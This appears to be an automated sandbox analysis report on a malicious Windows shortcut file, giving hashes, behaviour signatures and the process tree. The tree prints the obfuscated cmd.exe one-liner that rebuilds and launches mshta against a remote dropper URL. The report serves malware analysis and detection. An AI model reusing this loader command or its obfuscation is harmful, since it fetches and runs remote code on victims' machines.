Analysis

  • max time kernel
    58s
  • max time network
    59s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 03:34

General

  • Target
    DOC-BG3HZQ.lnk
  • Size 2KB
  • Sample260817-d5afbaszbt
  • SHA256 fd342edaee52c16de55dadff5251c977305a295daaa41aa5ca187400a43590e8
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BG3HZQ.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:704
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set KQhRy=oldizewdyvvbctkold&set We=cacheluygevnhbaafdcache&set PZe=winxzbfrnctlwin&set GU=infjloyabinf&set qqp=syspzwqoriciiiclksys&set PRGN=kmgsi7j&&set YHQ=ktw&&set mXCbJ=parti&set SMvn=bxmsyr6&&set Dujq=48hds&&set Hcv=tgjtau6z&set FUVe=datdfajyrmaksoidat&set tWCY=infnlvkjoiinf&set VgUp=bakgyudjsdoqczttmmbak&&set DNWK=htt@ps@:@/@/@k@-@docu@m@e@ntaci@[email protected]@a@t/@h/@e@st@[email protected]?@r=3F@14@77@F@1@539@8D1&&start /b !SMvn:~2,2!!Dujq:~2,1!!Hcv:~3,2! !DNWK:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4576
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:4928

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads